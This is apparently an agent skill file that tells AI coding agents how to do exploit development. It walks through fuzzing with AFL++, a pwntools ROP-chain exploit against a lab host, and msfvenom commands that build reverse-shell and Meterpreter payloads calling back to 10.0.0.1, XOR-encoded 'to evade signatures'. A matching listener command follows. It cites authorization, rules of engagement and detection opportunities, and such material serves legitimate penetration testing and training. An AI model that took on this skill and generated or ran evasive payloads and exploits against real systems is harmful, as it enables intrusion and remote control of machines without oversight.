<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploit-development
description: >-
  Exploit development covering Metasploit module creation, custom exploit
  engineering, fuzzing campaigns with AFL++ and libFuzzer, proof-of-concept
  construction, browser exploitation, n-day exploit adaptation, exploit chain
  development, privilege escalation exploits, client-side attacks, web exploit
  frameworks, reliability testing, and exploit documentation. Enables offensive
  security teams to develop, test, and document reliable exploits mapped to
  MITRE ATT&CK with proper authorization controls.
domain: cybersecurity
subdomain: exploit-development
tags:
  - exploit-dev
  - metasploit
  - fuzzing
  - afl-plus-plus
  - pwntools
  - buffer-overflow
  - browser-exploit
  - nday
  - exploit-chain
  - privesc
  - client-side
  - web-exploit
  - poc
  - reliability-testing
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1190", "T1203", "T1068", "T1189", "T1211", "T1212", "T1210", "T1204"]
  frameworks: ["MITRE ATT&CK", "Metasploit", "AFL++", "pwntools", "OWASP"]
---

# Exploit Development

## When to Use

Activate when the operator asks about writing Metasploit modules, developing
custom exploits, running fuzzing campaigns, building proof-of-concept code,
browser exploitation, n-day exploit adaptation, exploit chaining, privilege
escalation exploit development, client-side attacks, web exploit frameworks,
exploit reliability testing, or exploit documentation.

Mode: `[MODE: RED]` for offensive exploit development; `[MODE: PURPLE]` for detection validation of exploit behavior; `[MODE: BLUE]` for defensive signature generation from exploit analysis.

## Prerequisites

- Authorization and signed Rules of Engagement (RoE) for exploit development scope
- Isolated lab environment — never run exploits against production
- Metasploit Framework (`msfconsole`, `msfvenom`)
- Fuzzing harnesses: AFL++, libFuzzer, honggfuzz
- Python 3.10+ with `pwntools`, `ropper`, `keystone-engine`
- Debuggers: GDB with GEF/pwndbg, WinDbg
- Disassemblers: Ghidra, Binary Ninja, IDA Pro

## Quick Reference

| Technique | Primary Tools | ATT&CK Tactic |
|-----------|--------------|----------------|
| Metasploit modules | msfconsole, msf API | Multiple |
| Custom exploits | pwntools, ropper, GDB | Initial Access / Execution |
| Fuzzing campaigns | AFL++, libFuzzer, honggfuzz | Discovery |
| Proof-of-concept | pwntools, msfvenom | Initial Access |
| Browser exploits | V8, SpiderMonkey, Chromium | Initial Access (T1189) |
| N-day exploits | CVE databases, diff analysis | Initial Access (T1190) |
| Exploit chains | multiple chained primitives | Execution / Priv Esc |
| Privilege escalation | kernel exploits, SUID abuse | Privilege Escalation (T1068) |
| Client-side exploits | msfvenom, macro builders | Execution (T1204) |
| Web exploit frameworks | sqlmap, custom injection | Initial Access (T1190) |
| Reliability testing | crash triage, ASLR/DEP bypass | Multiple |
| Exploit documentation | writeups, PoC repos, CVE forms | N/A |

## Workflow

### 1. Target Analysis and Vulnerability Research

Identify the target, gather binaries, map attack surface:

```bash
# Check binary protections
checksec --file=./target_binary

# Enumerate Metasploit modules for target service
msfconsole -q -x "search type:exploit name:apache; exit"

# Pull CVE details for n-day development
node scripts/agent.js cve-lookup --cve CVE-2024-1234
```

### 2. Vulnerability Discovery

Fuzz targets and triage crashes:

```bash
# Compile target with AFL++ instrumentation
export CC=afl-clang-fast
export CXX=afl-clang-fast++
./configure && make

# Launch AFL++ fuzzing campaign
afl-fuzz -i seeds/ -o findings/ -m none -- ./target_binary @@

# Triage crashes with GDB
gdb -batch -ex "run < findings/crashes/id:000000*" -ex "bt" ./target_binary
```

### 3. Exploit Development

Build reliable exploit from crash to code execution:

```python
from pwn import *

context.binary = ELF("./target_binary")
context.log_level = "info"

# Connect to target
p = remote("target.lab", 9999)

# Build ROP chain for ASLR/DEP bypass
rop = ROP(context.binary)
rop.call("puts", [context.binary.got["puts"]])
rop.call(context.binary.symbols["main"])

payload = flat(cyclic(128), rop.chain())
p.sendline(payload)
```

### 4. Payload Generation and Encoding

```bash
# Generate reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Generate encoded payload to evade signatures
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 \
  -e x64/xor_dynamic -i 3 -f exe -o payload.exe

# Verify payload with msfconsole handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; \
  set LHOST 10.0.0.1; set LPORT 4444; run"
```

### 5. Exploit Validation and Reliability Testing

```bash
# Run exploit against target 100 times for reliability metrics
for i in $(seq 1 100); do
  python3 exploit.py --target target.lab --port 9999 2>&1 | tail -1
done | sort | uniq -c | sort -rn

# Verify across different target versions
node scripts/agent.js reliability --exploit exploit.py --targets targets.json
```

### 6. Documentation and Reporting

```
Exploit Documentation Structure:
├── Summary — Vulnerability class, affected versions, CVSS
├── Root Cause — Code path analysis and CWE mapping
├── Exploitation
│   ├── Prerequisites — Access level, network position
│   ├── Exploit Flow — Step-by-step with memory diagrams
│   ├── Reliability — Success rate, constraints, caveats
│   └── Payload Options — Shellcode, ROP, ret2libc
├── Detection
│   ├── Network signatures — PCAP patterns, Suricata rules
│   ├── Host indicators — Process behavior, file artifacts
│   └── Log evidence — Crash logs, auth failures
├── Remediation — Patch, workaround, compensating control
└── References — CVE, advisory, vendor bulletin
```

## Verification

- [ ] Exploit developed in isolated lab environment only
- [ ] Rules of engagement authorize exploit development scope
- [ ] Binary protections (ASLR, DEP, stack canaries) accounted for
- [ ] Exploit tested for reliability (>90% success rate target)
- [ ] Payload encoded and tested against target defenses
- [ ] Detection signatures generated from exploit behavior
- [ ] Exploit documentation includes full reproduction steps
- [ ] All artifacts stored securely with access controls

## Detection Opportunities

Exploit development artifacts generate these detection signals:
- Crash dumps and core files from fuzzing campaigns
- Unusual process memory patterns (ROP gadgets, shellcode)
- Network signatures from payload delivery and C2 callbacks
- File system artifacts from payload staging and execution
- Debug tool usage patterns (GDB, WinDbg) on production systems
- Metasploit framework signatures in network traffic

## References

- [Metasploit Framework](https://www.metasploit.com/) — Exploit development and delivery platform
- [AFL++](https://aflplus.plus/) — Coverage-guided fuzzing framework
- [pwntools](https://docs.pwntools.com/) — CTF and exploit development library
- [Exploit Database](https://www.exploit-db.com/) — Public exploit archive
- [MITRE ATT&CK](https://attack.mitre.org/) — Adversarial technique taxonomy
- [CWE](https://cwe.mitre.org/) — Common Weakness Enumeration
